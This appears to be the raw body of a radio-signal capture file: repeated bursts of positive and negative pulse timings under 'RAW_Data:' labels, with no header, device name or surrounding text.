-1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 3401 -2996 3401 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -3000 1801 -1400 3801 -4494 1987 -2568 3839 -2822 3413 -3002 3403 -3002 3401 -3002 3401 -3002 3407 -3010 3393 -2994 3395 -3002 3393 -3002 3401 -2996 3401 -2994 3401 -1398 1797 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -3002 1797 -1394 1795 -1402 1801 -1400 3401 -3002 3403 -1396 1793 -2998 3401 -3004 3393 -3002 3401 -3002 1797 -1394 3389 -3002 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 3401 -3002 3395 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -3002 3405 -8042 1841 -2856 3557 -2932 3531 -2910 3509 -2922 3345 -3160 3173 -3188 3395 -2996 3391 -2994 3401 -3002 3399 -2998 3393 -3002 3401 -2994 3395 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -3002 1801 -1396 1791 -1398 1801 -1402 3401 -3002 3407 -1400 1791 -2992 3401 -3002 3401 -3002 3403 -2994 1795 -1398 3407 -1404 1795 -2992 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 3395 -3002 3393 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -2994 3603 -4452 -RAW_Data: 1771 -2854 3567 -2986 3389 -2992 3393 -3002 3393 -3004 3393 -3002 3401 -2994 3395 -3002 3401 -3002 3393 -3004 3393 -3002 3401 -2994 3403 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -3002 1795 -1398 1801 -1400 1795 -1400 3401 -3002 3393 -1402 1799 -3004 3393 -3002 3401 -2994 3403 -2994 3401 -3002 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 3403 -3002 3407 -1404 1795 -1394 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -7856 8207 -2522 3741 -2764 3573 -2988 3393 -2994 3393 -3004 3393 -3002 3393 -3002 3403 -2994 3401 -3006 3399 -2994 3393 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -2992 1799 -1402 1799 -1402 1801 -1400 3401 -2996 3401 -1400 1797 -2990 3403 -3002 3401 -3002 3401 -2994 3395 -3002 3401 -2998 1805 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 3401 -1402 1801 -3002 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 3601 -4768 1587 -3096 3397 -2990 3395 -2994 3401 -3002 3395 -3006 3397 -2994 3401 -2996 3401 -3002 3393 -3002 3395 -3002 3401 -2994 3403 -3002 3393 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3002 3393 -1402 1801 -3002 3401 -2998 3399 -2994 3401 -2994 3401 -1402 1795 -3000 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 -RAW_Data: 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 3401 -1402 1799 -2994 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 3403 -5196 383 -1652 1837 -3050 3375 -2986 3393 -2996 3393 -3002 3401 -2994 3403 -2998 3405 -2994 3395 -3002 3405 -2998 3393 -2996 3401 -3002 3393 -3006 3399 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -3000 1801 -1400 1801 -1400 1801 -1400 3395 -3002 3407 -1400 1791 -2992 3401 -3002 3401 -3002 3395 -3002 3393 -1402 1799 -1398 1795 -3004 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 3403 -1400 1801 -3002 1795 -1394 1797 -1400 1801 -1402 1799 -1402 3401 -2994 3603 -836 655 -2854 1731 -2816 3487 -2910 3517 -2910 3481 -2856 3443 -3016 3407 -3006 3401 -3006 3399 -2994 3393 -3006 3397 -2996 3393 -3002 3401 -3002 3395 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -3002 1795 -1398 1801 -1400 1801 -1400 3395 -3002 3401 -1398 1791 -3000 3401 -3002 3401 -2994 3407 -1404 1795 -2992 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 3403 -1400 1795 -2992 1801 -1400 1801 -1400 1801 -1402 1799 -1398 3389 -1402 1799 -7638 2209 -2584 3689 -2704 3511 -2934 3347 -3168 3179 -3186 3389 -2994 3395 -2994 3401 -3002 3393 -3004 3393 -3002 -RAW_Data: 3401 -2994 3403 -2994 3401 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -3002 1801 -1398 1791 -1398 1799 -1402 3401 -3002 3395 -1400 1801 -3002 3407 -3000 3399 -2994 3393 -1402 1795 -2992 1799 -1402 3401 -3002 1795 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 3401 -1402 1799 -3004 1799 -1402 1795 -1394 1797 -1400 3401 -3004 1799 -1402 3601 -4312 1887 -2802 3527 -2906 3523 -3128 3147 -3164 3181 -3188 3389 -2994 3395 -2994 3401 -3002 3393 -3004 3393 -3002 3393 -3002 3403 -3002 3393 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -3002 1801 -1396 1793 -1398 1799 -1402 3401 -3002 3403 -1396 1797 -3002 3407 -2996 3395 -2994 3401 -1402 1795 -2998 3395 -3006 1803 -1398 1791 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 3401 -1398 1791 -3000 1799 -1402 1799 -1402 1801 -1400 3401 -2996 3401 -7934 8393 -2332 3759 -2774 3583 -2990 3389 -2994 3403 -3002 3393 -3002 3393 -3004 3393 -3002 3401 -2994 3403 -3002 3393 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -2994 1799 -1402 1795 -1394 1797 -1400 3403 -3002 3401 -1398 1791 -2998 3403 -3006 3405 -2998 3397 -1398 1791 -3000 3401 -1402 1799 -2994 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 -RAW_Data: 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1396 3391 -1400 1801 -3006 1805 -1396 1791 -1398 1801 -1402 3401 -1396 1797 -3002 3603 -4584 1767 -2612 3777 -2734 3539 -2912 3505 -2916 3331 -3156 3173 -3182 3187 -3190 3393 -2996 3401 -3002 3401 -2994 3395 -3002 3401 -2994 3407 -1400 1791 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -2994 1799 -1402 1801 -1396 1797 -1400 3403 -3002 3401 -1398 1791 -2990 3403 -3002 3401 -3002 3401 -1398 1791 -1398 1801 -3006 1805 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 3403 -1400 1801 -3002 1801 -1396 1797 -1400 1801 -1400 3395 -1400 1801 -1398 1795 -8110 2015 -2632 3843 -2818 3415 -3002 3407 -3004 3401 -2996 3401 -3002 3393 -3002 3395 -3002 3401 -2994 3403 -2998 3405 -2994 3393 -3004 3393 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -3002 1801 -1396 1797 -1400 1801 -1402 3401 -2994 3401 -1402 1801 -3002 3393 -2994 3401 -3002 3395 -1400 1801 -1402 1799 -2994 3407 -2998 1795 -1394 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 3397 -1400 1801 -3002 1801 -1396 1793 -1398 3401 -3002 1795 -1398 1801 -1400 3603 -4032 1885 -2658 3649 -2852 3473 -2950 3571 -2718 3513 -2898 3455 -3040 3421 -3010 3401 -3006 3411 -2998 3393 -3002 3395 -3002 3393 -3002 3393 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1799 -3008 1799 -1394 1791 -1398 1801 -1400 3401 -3004 3401 -1396 -RAW_Data: 1793 -3002 3407 -2994 3401 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 3401 -1402 1801 -2998 1803 -1398 1791 -1394 3399 -3002 1799 -1402 3401 -8194 21409 -2410 3595 -3000 3401 -3002 3403 -3006 3405 -2994 3395 -3002 3401 -2994 3401 -3002 3395 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -2990 1801 -1402 1799 -1402 1799 -1402 3401 -2994 3407 -1404 1795 -2992 3401 -3002 3395 -3006 3397 -1398 1791 -1394 1797 -1400 1801 -1400 1801 -3002 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 3393 -1402 1795 -3000 1799 -1402 1799 -1398 3397 -3002 3403 -3002 3593 -4590 8471 -2416 3813 -2802 3403 -3002 3401 -3002 3401 -3004 3401 -3002 3393 -3002 3395 -3002 3401 -2994 3403 -3002 3401 -2994 3393 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1795 -3004 1795 -1398 1799 -1402 1795 -1398 3401 -3004 3401 -1396 1793 -2998 3401 -3004 3401 -1396 1793 -2998 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 -RAW_Data: 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 3397 -1402 1801 -3006 1803 -1398 1791 -1398 3401 -3004 3393 -1400 1801 -6470 1853 -2954 3275 -3044 3425 -3014 3405 -3004 3401 -3002 3401 -3002 3395 -3002 3393 -3002 3401 -2996 3401 -2998 3405 -2994 3395 -3006 3397 -1398 1791 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -3002 1801 -1398 1791 -1398 1801 -1400 3401 -3002 3403 -1396 1791 -3000 3401 -3002 3403 -1396 1793 -2998 1801 -1400 1801 -1402 1799 -1402 3401 -2994 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 3393 -1402 1799 -3000 1803 -1398 1791 -1398 3401 -1402 1799 -3004 1795 -1394 3797 -4442 2001 -2426 3829 -2818 3415 -3014 3401 -3002 3393 -3002 3395 -3002 3401 -3002 3393 -2996 3401 -2994 3401 -3002 3395 -3002 3401 -3002 3395 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -3002 1799 -1398 1791 -1398 1801 -1400 3403 -3002 3393 -1402 1799 -3006 3399 -2994 3401 -1398 1791 -2998 1801 -1402 1799 -1402 3393 -3002 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 3403 -1400 1801 -3002 1801 -1396 1791 -1398 3403 -1400 1801 -3002 3401 -8088 1813 -2902 3441 -3020 3417 -3010 3411 -3004 3399 -3002 3397 -2994 3395 -3002 3393 -3002 3393 -3004 3401 -2998 3405 -2994 3395 -3002 3393 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -3002 1795 -1396 1795 -1402 1799 -1402 3401 -3002 3403 -1400 1795 -2992 3401 -3002 3403 -1400 1795 -2992 1801 -1400 1801 -1400 3403 -1396 1791 -3000 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 -RAW_Data: 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 3401 -1402 1799 -3002 1797 -1394 1795 -1402 3401 -1402 1799 -1402 1795 -2992 3601 -4130 1967 -2648 3605 -2874 3687 -2732 3527 -2902 3507 -2930 3349 -3168 3173 -3186 3395 -2998 3397 -2994 3395 -3002 3401 -2994 3401 -3000 3405 -1396 1793 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3002 3401 -1398 1791 -3000 3401 -3002 3401 -1402 1795 -2992 1799 -1402 3401 -3002 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 3397 -1400 1801 -3002 1801 -1400 1797 -1398 3401 -1400 1801 -1402 1795 -1394 1797 -3402 1061 -2794 2197 -2242 4043 -2320 3991 -2722 3497 -2880 3643 -2830 3415 -3010 3401 -3002 3401 -3002 3403 -3002 3401 -3002 3399 -3006 3393 -2994 3393 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -2992 1799 -1402 1799 -1402 1801 -1400 3407 -2998 3393 -1396 1793 -3002 3407 -3002 3393 -1398 1795 -3002 1801 -1402 3401 -3002 3393 -3002 1797 -1394 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1398 -RAW_Data: 1799 -1398 1797 -1400 3401 -1402 1795 -2992 1801 -1400 3401 -3002 1801 -1402 1799 -1398 1791 -1398 3601 -2170 4255 -2912 3537 -2960 3375 -2986 3189 -3192 3393 -3002 3401 -2994 3403 -3002 3393 -3002 3393 -3004 3393 -3002 3401 -3002 3395 -3002 3393 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -3002 1795 -1396 1795 -1402 1799 -1402 3401 -3006 3399 -1396 1791 -3000 3401 -3002 3403 -1400 1795 -2992 1801 -1400 3401 -1402 1795 -3000 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 